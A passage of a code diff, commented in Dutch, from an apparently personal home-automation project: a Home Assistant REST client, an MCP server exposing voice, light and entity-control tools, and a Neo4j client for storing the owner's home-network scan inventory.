return {
|
||||||
|
"favorites_count": query("SELECT count(*) as c FROM favorites", fetch="one")["c"],
|
||||||
|
"today_events": query(
|
||||||
|
"SELECT * FROM calendar_events WHERE event_start::date = CURRENT_DATE ORDER BY event_start"
|
||||||
|
),
|
||||||
|
"upcoming_events": query(
|
||||||
|
"SELECT * FROM calendar_events WHERE event_start > NOW() ORDER BY event_start LIMIT 5"
|
||||||
|
),
|
||||||
|
"file_stats": query(
|
||||||
|
"SELECT file_type, count(*) as cnt FROM file_index GROUP BY file_type ORDER BY cnt DESC"
|
||||||
|
),
|
||||||
|
"recent_files": query(
|
||||||
|
"SELECT * FROM file_index ORDER BY indexed_at DESC LIMIT 10"
|
||||||
|
),
|
||||||
|
"password_count": query("SELECT count(*) as c FROM passwords", fetch="one")["c"],
|
||||||
|
"photo_count": query("SELECT count(*) as c FROM photos", fetch="one")["c"],
|
||||||
|
"network_devices": network_devices,
|
||||||
|
"last_scan": last_scan,
|
||||||
|
}
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
"""
|
||||||
|
Home Assistant REST API client.
|
||||||
|
Gebruikt een long-lived access token voor authenticatie.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
import config
|
||||||
|
|
||||||
|
|
||||||
|
class HAClient:
|
||||||
|
"""Async client voor de Home Assistant REST API."""
|
||||||
|
|
||||||
|
def __init__(self) -> None:
|
||||||
|
self._base = config.HA_URL.rstrip("/")
|
||||||
|
self._token = config.HA_TOKEN
|
||||||
|
self._headers = {
|
||||||
|
"Authorization": f"Bearer {self._token}",
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── low-level HTTP ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def _get(self, path: str) -> dict:
|
||||||
|
async with httpx.AsyncClient(timeout=15.0) as client:
|
||||||
|
resp = await client.get(
|
||||||
|
f"{self._base}{path}", headers=self._headers
|
||||||
|
)
|
||||||
|
resp.raise_for_status()
|
||||||
|
return resp.json()
|
||||||
|
|
||||||
|
async def _post(self, path: str, json_data: dict | None = None) -> dict:
|
||||||
|
async with httpx.AsyncClient(timeout=15.0) as client:
|
||||||
|
resp = await client.post(
|
||||||
|
f"{self._base}{path}",
|
||||||
|
headers=self._headers,
|
||||||
|
json=json_data or {},
|
||||||
|
)
|
||||||
|
resp.raise_for_status()
|
||||||
|
return resp.json()
|
||||||
|
|
||||||
|
# ── state ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def get_states(self) -> list[dict]:
|
||||||
|
"""Retourneer alle entity states."""
|
||||||
|
return await self._get("/api/states")
|
||||||
|
|
||||||
|
async def get_entity_state(self, entity_id: str) -> dict:
|
||||||
|
"""Retourneer de state van één entity."""
|
||||||
|
return await self._get(f"/api/states/{entity_id}")
|
||||||
|
|
||||||
|
# ── services ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def call_service(
|
||||||
|
self,
|
||||||
|
domain: str,
|
||||||
|
service: str,
|
||||||
|
target: dict | None = None,
|
||||||
|
**service_data,
|
||||||
|
) -> dict:
|
||||||
|
"""Roep een Home Assistant service aan.
|
||||||
|
|
||||||
|
Voorbeeld:
|
||||||
|
call_service("light", "turn_on", entity_id="light.woonkamer")
|
||||||
|
"""
|
||||||
|
payload: dict = {}
|
||||||
|
if target:
|
||||||
|
payload["target"] = target
|
||||||
|
if service_data:
|
||||||
|
payload.update(service_data)
|
||||||
|
return await self._post(f"/api/services/{domain}/{service}", payload)
|
||||||
|
|
||||||
|
# ── conversation agent ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def process_conversation(self, text: str) -> dict:
|
||||||
|
"""Stuur natuurlijke taal naar de HA conversation agent.
|
||||||
|
|
||||||
|
Dit gebruikt HA's ingebouwde intent-herkenning om tekst om te zetten
|
||||||
|
naar acties (bijv. "doe de lampen uit" → light.turn_off).
|
||||||
|
"""
|
||||||
|
payload = {
|
||||||
|
"text": text,
|
||||||
|
"language": "nl", # Nederlands
|
||||||
|
}
|
||||||
|
return await self._post("/api/conversation/process", payload)
|
||||||
|
|
||||||
|
# ── convenience ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def list_lights(self) -> list[dict]:
|
||||||
|
"""Retourneer alleen light entities met hun states."""
|
||||||
|
states = await self.get_states()
|
||||||
|
return [s for s in states if s.get("entity_id", "").startswith("light.")]
|
||||||
|
|
||||||
|
async def control_light(
|
||||||
|
self,
|
||||||
|
entity_id: str,
|
||||||
|
action: str, # "turn_on", "turn_off", "toggle"
|
||||||
|
brightness: int | None = None, # 0-255
|
||||||
|
color_name: str | None = None,
|
||||||
|
) -> dict:
|
||||||
|
"""Bedien een licht met optionele helderheid/kleur."""
|
||||||
|
data: dict = {"entity_id": entity_id}
|
||||||
|
if brightness is not None:
|
||||||
|
data["brightness"] = max(0, min(255, brightness))
|
||||||
|
if color_name:
|
||||||
|
data["color_name"] = color_name
|
||||||
|
return await self.call_service("light", action, **data)
|
||||||
|
|
||||||
|
async def list_all_entities(self, domain: str | None = None) -> list[dict]:
|
||||||
|
"""Retourneer entities, optioneel gefilterd op domein."""
|
||||||
|
states = await self.get_states()
|
||||||
|
if domain:
|
||||||
|
prefix = f"{domain}."
|
||||||
|
return [s for s in states if s.get("entity_id", "").startswith(prefix)]
|
||||||
|
return states
|
||||||
@@ -0,0 +1,470 @@
|
|||||||
|
"""
|
||||||
|
MCP stdio server die Home Assistant voice-control tools registreert.
|
||||||
|
|
||||||
|
Gebruik:
|
||||||
|
python -m src.mcp_server
|
||||||
|
|
||||||
|
De server communiceert via stdin/stdout volgens het MCP-protocol.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from mcp.server import FastMCP
|
||||||
|
from mcp.server.stdio import stdio_server
|
||||||
|
from mcp.types import Tool, TextContent
|
||||||
|
|
||||||
|
from src.ha_client import HAClient
|
||||||
|
from src import whisper_client
|
||||||
|
|
||||||
|
# ── logging ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
|
||||||
|
stream=sys.stderr, # stdio is voor MCP; logs naar stderr
|
||||||
|
)
|
||||||
|
logger = logging.getLogger("mcp-ha-voice")
|
||||||
|
|
||||||
|
# ── server setup ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
server = FastMCP("ha-voice-control")
|
||||||
|
ha = HAClient()
|
||||||
|
|
||||||
|
|
||||||
|
# ── helpers ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _json_result(data) -> str:
|
||||||
|
"""Formatteer data als pretty-printed JSON string."""
|
||||||
|
return json.dumps(data, ensure_ascii=False, indent=2, default=str)
|
||||||
|
|
||||||
|
|
||||||
|
# ── tools ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def speak_command(audio_base64: str) -> list[TextContent]:
|
||||||
|
"""Spraakcommando: transcribeer audio en voer uit via Home Assistant.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
audio_base64: Base64-gecodeerde WAV-audio opname.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Transcriptie en resultaat van de uitgevoerde actie.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
audio_bytes = base64.b64decode(audio_base64)
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")]
|
||||||
|
|
||||||
|
try:
|
||||||
|
text = await whisper_client.transcribe(audio_bytes)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Transcriptie mislukt")
|
||||||
|
return [TextContent(type="text", text=f"Transcriptie fout: {e}")]
|
||||||
|
|
||||||
|
if not text.strip():
|
||||||
|
return [TextContent(type="text", text="Geen spraak gedetecteerd in de audio.")]
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = await ha.process_conversation(text)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Home Assistant aanroep mislukt")
|
||||||
|
return [
|
||||||
|
TextContent(
|
||||||
|
type="text",
|
||||||
|
text=f"Transcriptie: \"{text}\"\nFout bij uitvoeren: {e}",
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
return [
|
||||||
|
TextContent(
|
||||||
|
type="text",
|
||||||
|
text=f"Transcriptie: \"{text}\"\nResultaat:\n{_json_result(result)}",
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def transcribe_audio(audio_base64: str) -> list[TextContent]:
|
||||||
|
"""Alleen transcriberen, geen actie uitvoeren.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
audio_base64: Base64-gecodeerde WAV-audio opname.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
De herkende tekst.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
audio_bytes = base64.b64decode(audio_base64)
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout bij decoderen audio: {e}")]
|
||||||
|
|
||||||
|
try:
|
||||||
|
text = await whisper_client.transcribe(audio_bytes)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Transcriptie mislukt")
|
||||||
|
return [TextContent(type="text", text=f"Transcriptie fout: {e}")]
|
||||||
|
|
||||||
|
return [TextContent(type="text", text=text or "(stilte)")]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def send_text_command(text: str) -> list[TextContent]:
|
||||||
|
"""Stuur een tekstcommando naar de Home Assistant conversation agent.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
text: Het commando in natuurlijke taal (bijv. "doe de lampen uit").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Het resultaat van de conversation agent.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
result = await ha.process_conversation(text)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Conversation agent fout")
|
||||||
|
return [TextContent(type="text", text=f"Fout: {e}")]
|
||||||
|
|
||||||
|
return [TextContent(type="text", text=_json_result(result))]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def list_lights() -> list[TextContent]:
|
||||||
|
"""Toon alle lampen met hun huidige status (aan/uit, helderheid, kleur)."""
|
||||||
|
try:
|
||||||
|
lights = await ha.list_lights()
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout bij ophalen lampen: {e}")]
|
||||||
|
|
||||||
|
if not lights:
|
||||||
|
return [TextContent(type="text", text="Geen lampen gevonden in Home Assistant.")]
|
||||||
|
|
||||||
|
summary = []
|
||||||
|
for light in lights:
|
||||||
|
entity_id = light.get("entity_id", "?")
|
||||||
|
state = light.get("state", "?")
|
||||||
|
attrs = light.get("attributes", {})
|
||||||
|
friendly = attrs.get("friendly_name", entity_id)
|
||||||
|
brightness = attrs.get("brightness", "NVT")
|
||||||
|
summary.append(
|
||||||
|
f" • {friendly} ({entity_id}): {state}"
|
||||||
|
+ (f", helderheid={brightness}" if state == "on" else "")
|
||||||
|
)
|
||||||
|
|
||||||
|
return [TextContent(type="text", text="Lampen:\n" + "\n".join(summary))]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def control_light(
|
||||||
|
entity_id: str,
|
||||||
|
action: str,
|
||||||
|
brightness: int | None = None,
|
||||||
|
color_name: str | None = None,
|
||||||
|
) -> list[TextContent]:
|
||||||
|
"""Bedien een specifiek licht.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
entity_id: Entity ID van de lamp (bijv. "light.woonkamer").
|
||||||
|
action: "turn_on", "turn_off", of "toggle".
|
||||||
|
brightness: Helderheid 0-255 (optioneel).
|
||||||
|
color_name: Kleurnaam zoals "red", "blue" (optioneel).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Bevestiging van de actie.
|
||||||
|
"""
|
||||||
|
valid_actions = {"turn_on", "turn_off", "toggle"}
|
||||||
|
if action not in valid_actions:
|
||||||
|
return [
|
||||||
|
TextContent(
|
||||||
|
type="text",
|
||||||
|
text=f"Ongeldige actie '{action}'. Kies uit: {', '.join(sorted(valid_actions))}",
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = await ha.control_light(entity_id, action, brightness, color_name)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Controleren lamp mislukt")
|
||||||
|
return [TextContent(type="text", text=f"Fout: {e}")]
|
||||||
|
|
||||||
|
return [
|
||||||
|
TextContent(
|
||||||
|
type="text",
|
||||||
|
text=f"Actie '{action}' uitgevoerd op {entity_id}.\n{_json_result(result)}",
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def list_all_entities(domain: str | None = None) -> list[TextContent]:
|
||||||
|
"""Toon alle Home Assistant entities, optioneel gefilterd op domein.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
domain: Filter op domein (bijv. "light", "switch", "sensor"). None = alles.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Lijst van entities en hun states.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
entities = await ha.list_all_entities(domain)
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout bij ophalen entities: {e}")]
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
for e in entities[:100]: # limiet om output beheersbaar te houden
|
||||||
|
eid = e.get("entity_id", "?")
|
||||||
|
state = e.get("state", "?")
|
||||||
|
friendly = (e.get("attributes", {}) or {}).get("friendly_name", "")
|
||||||
|
label = f"{friendly} ({eid})" if friendly else eid
|
||||||
|
lines.append(f" • {label}: {state}")
|
||||||
|
|
||||||
|
if len(entities) > 100:
|
||||||
|
lines.append(f" ... en {len(entities) - 100} meer")
|
||||||
|
|
||||||
|
header = f"Entities ({domain or 'alle'}):\n"
|
||||||
|
return [TextContent(type="text", text=header + "\n".join(lines))]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def get_entity_state(entity_id: str) -> list[TextContent]:
|
||||||
|
"""Haal de huidige state op van één entity.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
entity_id: Volledige entity ID (bijv. "light.woonkamer").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
De volledige state met attributen.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
state = await ha.get_entity_state(entity_id)
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout: {e}")]
|
||||||
|
|
||||||
|
return [TextContent(type="text", text=_json_result(state))]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def call_ha_service(
|
||||||
|
domain: str,
|
||||||
|
service: str,
|
||||||
|
entity_id: str | None = None,
|
||||||
|
) -> list[TextContent]:
|
||||||
|
"""Roep een willekeurige Home Assistant service aan.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
domain: Service domein (bijv. "light", "switch", "script").
|
||||||
|
service: Service naam (bijv. "turn_on", "turn_off").
|
||||||
|
entity_id: Optionele target entity ID.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Het resultaat van de service call.
|
||||||
|
"""
|
||||||
|
target = {"entity_id": entity_id} if entity_id else None
|
||||||
|
try:
|
||||||
|
result = await ha.call_service(domain, service, target=target)
|
||||||
|
except Exception as e:
|
||||||
|
return [TextContent(type="text", text=f"Fout: {e}")]
|
||||||
|
|
||||||
|
return [TextContent(type="text", text=_json_result(result))]
|
||||||
|
|
||||||
|
|
||||||
|
# ── Neo4j netwerk queries ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def query_network(query_type: str = "all", param: str = "") -> list[TextContent]:
|
||||||
|
"""Bevraag de Neo4j netwerkdatabase met alle bekende thuisnetwerk-apparaten.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query_type: Type query:
|
||||||
|
"all" - alle devices met poorten
|
||||||
|
"device" - een specifiek IP (geef IP mee als param)
|
||||||
|
"by_os" - filter op OS (bijv. "Windows", "Linux", "ESP32")
|
||||||
|
"by_port" - filter op open poort (bijv. "22" voor SSH)
|
||||||
|
"scan_history" - recente scan runs
|
||||||
|
"summary" - netwerk samenvatting
|
||||||
|
param: IP, OS-substring, of poortnummer (afhankelijk van query_type)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
De gevraagde data als JSON.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import (
|
||||||
|
get_all_devices, get_device, get_devices_by_os,
|
||||||
|
get_devices_by_port, get_scan_history, get_network_summary,
|
||||||
|
)
|
||||||
|
except ImportError:
|
||||||
|
return [TextContent(type="text", text="Neo4j module niet beschikbaar. Installeer: pip install neo4j")]
|
||||||
|
|
||||||
|
try:
|
||||||
|
if query_type == "all":
|
||||||
|
data = get_all_devices()
|
||||||
|
elif query_type == "device" and param:
|
||||||
|
d = get_device(param)
|
||||||
|
data = [d] if d else []
|
||||||
|
elif query_type == "by_os" and param:
|
||||||
|
data = get_devices_by_os(param)
|
||||||
|
elif query_type == "by_port" and param:
|
||||||
|
data = get_devices_by_port(int(param))
|
||||||
|
elif query_type == "scan_history":
|
||||||
|
data = get_scan_history()
|
||||||
|
elif query_type == "summary":
|
||||||
|
data = [get_network_summary()]
|
||||||
|
else:
|
||||||
|
return [TextContent(type="text",
|
||||||
|
text=f"Gebruik: query_type=all|device|by_os|by_port|scan_history|summary (param indien nodig)")]
|
||||||
|
|
||||||
|
return [TextContent(type="text", text=_json_result(data))]
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Neo4j query fout")
|
||||||
|
return [TextContent(type="text", text=f"Neo4j fout: {e}")]
|
||||||
|
|
||||||
|
|
||||||
|
@server.tool()
|
||||||
|
async def get_network_context() -> list[TextContent]:
|
||||||
|
"""RETOURNEERT VOLLEDIGE THUISNETWERK CONTEXT VOOR RAG.
|
||||||
|
|
||||||
|
Gebruik deze tool om context op te halen over het thuisnetwerk en homelab.
|
||||||
|
Dit geeft een compleet overzicht van alle apparaten, hun IP-adressen,
|
||||||
|
hostnames, besturingssystemen, open poorten, en services.
|
||||||
|
|
||||||
|
Geschikt voor:
|
||||||
|
- Context bij het openen van mappen/configuraties in DeepSeek TUI
|
||||||
|
- Netwerk-topologie begrijpen
|
||||||
|
- Troubleshooting van connectiviteit
|
||||||
|
- Alle IP-adressen en poorten van je homelab
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Een gestructureerde tekst-samenvatting van het hele thuisnetwerk.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import (
|
||||||
|
get_all_devices, get_scan_history, get_network_summary,
|
||||||
|
)
|
||||||
|
except ImportError:
|
||||||
|
return [TextContent(type="text", text="Neo4j niet beschikbaar. Installeer: pip install neo4j")]
|
||||||
|
|
||||||
|
try:
|
||||||
|
summary = get_network_summary()
|
||||||
|
devices = get_all_devices()
|
||||||
|
history = get_scan_history(limit=3)
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
lines.append("=" * 60)
|
||||||
|
lines.append("THUISNETWERK & HOMELAB — NETWERK CONTEXT")
|
||||||
|
lines.append("=" * 60)
|
||||||
|
lines.append(f"Netwerk: 192.168.1.0/24")
|
||||||
|
lines.append(f"Apparaten: {summary.get('total_devices', 0)}")
|
||||||
|
lines.append(f"Unieke open poorten: {summary.get('total_ports', 0)}")
|
||||||
|
lines.append("")
|
||||||
|
|
||||||
|
# Categorieen
|
||||||
|
from collections import Counter
|
||||||
|
cats = Counter(d.get("os_guess", "Onbekend") for d in devices)
|
||||||
|
lines.append("--- OS Categorieën ---")
|
||||||
|
for cat, cnt in cats.most_common():
|
||||||
|
lines.append(f" {cat}: {cnt}x")
|
||||||
|
|
||||||
|
# Alle devices
|
||||||
|
lines.append("")
|
||||||
|
lines.append("--- Alle Apparaten ---")
|
||||||
|
# Groepeer op type
|
||||||
|
router = [d for d in devices if "Router" in (d.get("os_guess") or "")]
|
||||||
|
linux_srv = [d for d in devices if "Linux" in (d.get("os_guess") or "") and "Router" not in (d.get("os_guess") or "")]
|
||||||
|
windows = [d for d in devices if "Windows" in (d.get("os_guess") or "")]
|
||||||
|
unifi = [d for d in devices if "UniFi" in (d.get("os_guess") or "")]
|
||||||
|
esp32 = [d for d in devices if "ESP32" in (d.get("os_guess") or "")]
|
||||||
|
nas = [d for d in devices if "Synology" in (d.get("os_guess") or "")]
|
||||||
|
ha = [d for d in devices if "Home Assistant" in (d.get("os_guess") or "")]
|
||||||
|
other = [d for d in devices if d not in router + linux_srv + windows + unifi + esp32 + nas + ha]
|
||||||
|
|
||||||
|
def fmt_device(d):
|
||||||
|
ports = sorted([p.get("port") for p in (d.get("ports") or []) if p and p.get("port")])
|
||||||
|
port_str = ", ".join(f":{p}" for p in ports) if ports else "geen open poorten"
|
||||||
|
hostname = d.get("hostname", "")
|
||||||
|
return f" {d['ip']:<16} {hostname:<35} {port_str}"
|
||||||
|
|
||||||
|
if router:
|
||||||
|
lines.append("\n[Gateway/Router]")
|
||||||
|
for d in router:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if nas:
|
||||||
|
lines.append("\n[NAS]")
|
||||||
|
for d in nas:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if ha:
|
||||||
|
lines.append("\n[Home Assistant]")
|
||||||
|
for d in ha:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if linux_srv:
|
||||||
|
lines.append("\n[Linux Servers]")
|
||||||
|
for d in linux_srv:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if windows:
|
||||||
|
lines.append("\n[Windows]")
|
||||||
|
for d in windows:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if unifi:
|
||||||
|
lines.append("\n[UniFi Apparatuur]")
|
||||||
|
for d in unifi:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if esp32:
|
||||||
|
lines.append("\n[ESP32 IoT]")
|
||||||
|
for d in esp32:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
if other:
|
||||||
|
lines.append("\n[Overig]")
|
||||||
|
for d in other:
|
||||||
|
lines.append(fmt_device(d))
|
||||||
|
|
||||||
|
# Belangrijke services
|
||||||
|
lines.append("")
|
||||||
|
lines.append("--- Belangrijke Services & URLs ---")
|
||||||
|
service_map = {
|
||||||
|
"192.168.1.1": "UniFi Dream Machine (Gateway)",
|
||||||
|
"192.168.1.6": "Vaultwarden (password manager) :8000",
|
||||||
|
"192.168.1.24": "UniFi Controller :443",
|
||||||
|
"192.168.1.118": "Kassa Dev Server (PostgreSQL :5432)",
|
||||||
|
"192.168.1.142": "Linkwarden (bookmarks) :80",
|
||||||
|
"192.168.1.211": "Synology NAS — DSM :5000 | PostgreSQL :5433 | Neo4j :49153 | Portainer :9000 | AdGuard :3000 | Homarr :4755 | Excalidraw :3765",
|
||||||
|
"192.168.1.235": "Home Assistant :8123",
|
||||||
|
"192.168.1.227": "Docker Host :8000",
|
||||||
|
}
|
||||||
|
for d in devices:
|
||||||
|
ip = d["ip"]
|
||||||
|
if ip in service_map:
|
||||||
|
lines.append(f" {ip} — {service_map[ip]}")
|
||||||
|
|
||||||
|
# Scan history
|
||||||
|
lines.append("")
|
||||||
|
lines.append("--- Laatste Scans ---")
|
||||||
|
for s in history:
|
||||||
|
ts = str(s.get("timestamp", "?"))[:16].replace("T", " ")
|
||||||
|
lines.append(f" {s.get('id')} @ {ts} — {s.get('hosts_active')} hosts")
|
||||||
|
|
||||||
|
lines.append("")
|
||||||
|
lines.append("=" * 60)
|
||||||
|
|
||||||
|
return [TextContent(type="text", text="\n".join(lines))]
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Netwerk context ophalen mislukt")
|
||||||
|
return [TextContent(type="text", text=f"Fout bij ophalen netwerkcontext: {e}")]
|
||||||
|
|
||||||
|
|
||||||
|
# ── entry point ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
"""Start de MCP server via stdio."""
|
||||||
|
logger.info("Starten van MCP Home Assistant Voice Control server...")
|
||||||
|
server.run(transport="stdio")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,277 @@
|
|||||||
|
"""
|
||||||
|
Neo4j graph database client voor thuisnetwerk-inventaris.
|
||||||
|
|
||||||
|
Schema:
|
||||||
|
(d:Device {ip, hostname, mac, os_guess, first_seen, last_seen})
|
||||||
|
(p:Port {number, protocol, service, banner})
|
||||||
|
(s:ScanRun {id, timestamp, network, hosts_scanned, hosts_active})
|
||||||
|
|
||||||
|
Relaties:
|
||||||
|
(d)-[:HAS_PORT]->(p)
|
||||||
|
(d)-[:FOUND_IN]->(s)
|
||||||
|
|
||||||
|
Alle imports zijn upsert (MERGE) — herhaald scannen overschrijft niet maar vult aan.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
|
||||||
|
from neo4j import GraphDatabase, Driver
|
||||||
|
|
||||||
|
import config
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_driver: Driver | None = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_driver() -> Driver:
|
||||||
|
global _driver
|
||||||
|
if _driver is None:
|
||||||
|
_driver = GraphDatabase.driver(
|
||||||
|
config.NEO4J_URI,
|
||||||
|
auth=(config.NEO4J_USER, config.NEO4J_PASSWORD),
|
||||||
|
)
|
||||||
|
_driver.verify_connectivity()
|
||||||
|
logger.info("Verbonden met Neo4j op %s", config.NEO4J_URI)
|
||||||
|
return _driver
|
||||||
|
|
||||||
|
|
||||||
|
def close():
|
||||||
|
global _driver
|
||||||
|
if _driver:
|
||||||
|
_driver.close()
|
||||||
|
_driver = None
|
||||||
|
|
||||||
|
|
||||||
|
# ── Schema setup ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
SCHEMA_QUERIES = [
|
||||||
|
"CREATE CONSTRAINT device_ip IF NOT EXISTS FOR (d:Device) REQUIRE d.ip IS UNIQUE",
|
||||||
|
"CREATE INDEX device_hostname IF NOT EXISTS FOR (d:Device) ON (d.hostname)",
|
||||||
|
"CREATE INDEX device_os IF NOT EXISTS FOR (d:Device) ON (d.os_guess)",
|
||||||
|
"CREATE INDEX port_service IF NOT EXISTS FOR (p:Port) ON (p.service)",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def init_schema():
|
||||||
|
"""Creëer constraints en indexes."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
for query in SCHEMA_QUERIES:
|
||||||
|
try:
|
||||||
|
session.run(query)
|
||||||
|
except Exception as e:
|
||||||
|
if "already exists" not in str(e).lower():
|
||||||
|
logger.warning("Schema fout: %s", e)
|
||||||
|
logger.info("Neo4j schema gereed.")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Import ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def import_scan(devices: list[dict], network: str = "192.168.1.0/24") -> str:
|
||||||
|
"""
|
||||||
|
Importeer scanresultaten in Neo4j.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
devices: Lijst van dicts met:
|
||||||
|
ip, hostname, mac, os_guess, open_ports: [int], banners: {port: str}
|
||||||
|
network: CIDR notatie van gescande netwerk
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Samenvattingsstring.
|
||||||
|
"""
|
||||||
|
driver = get_driver()
|
||||||
|
scan_id = f"scan-{datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')}"
|
||||||
|
timestamp = datetime.now(timezone.utc).isoformat()
|
||||||
|
|
||||||
|
total_ports = sum(len(d.get("open_ports", [])) for d in devices)
|
||||||
|
|
||||||
|
with driver.session() as session:
|
||||||
|
# Maak ScanRun node
|
||||||
|
session.run(
|
||||||
|
"""
|
||||||
|
CREATE (s:ScanRun {
|
||||||
|
id: $scan_id,
|
||||||
|
timestamp: datetime($timestamp),
|
||||||
|
network: $network,
|
||||||
|
hosts_scanned: $total_hosts,
|
||||||
|
hosts_active: $total_hosts
|
||||||
|
})
|
||||||
|
""",
|
||||||
|
scan_id=scan_id, timestamp=timestamp, network=network,
|
||||||
|
total_hosts=len(devices),
|
||||||
|
)
|
||||||
|
|
||||||
|
for device in devices:
|
||||||
|
ip = device["ip"]
|
||||||
|
hostname = device.get("hostname", ip)
|
||||||
|
mac = device.get("mac", "")
|
||||||
|
os_guess = device.get("os_guess", "Onbekend")
|
||||||
|
open_ports = device.get("open_ports", [])
|
||||||
|
banners = device.get("banners", {})
|
||||||
|
|
||||||
|
# Upsert Device (MERGE op IP)
|
||||||
|
session.run(
|
||||||
|
"""
|
||||||
|
MERGE (d:Device {ip: $ip})
|
||||||
|
SET d.hostname = $hostname,
|
||||||
|
d.mac = CASE WHEN $mac <> '' THEN $mac ELSE d.mac END,
|
||||||
|
d.os_guess = $os_guess,
|
||||||
|
d.last_seen = datetime($timestamp)
|
||||||
|
FOREACH (_ IN CASE WHEN d.first_seen IS NULL THEN [1] ELSE [] END |
|
||||||
|
SET d.first_seen = datetime($timestamp)
|
||||||
|
)
|
||||||
|
WITH d
|
||||||
|
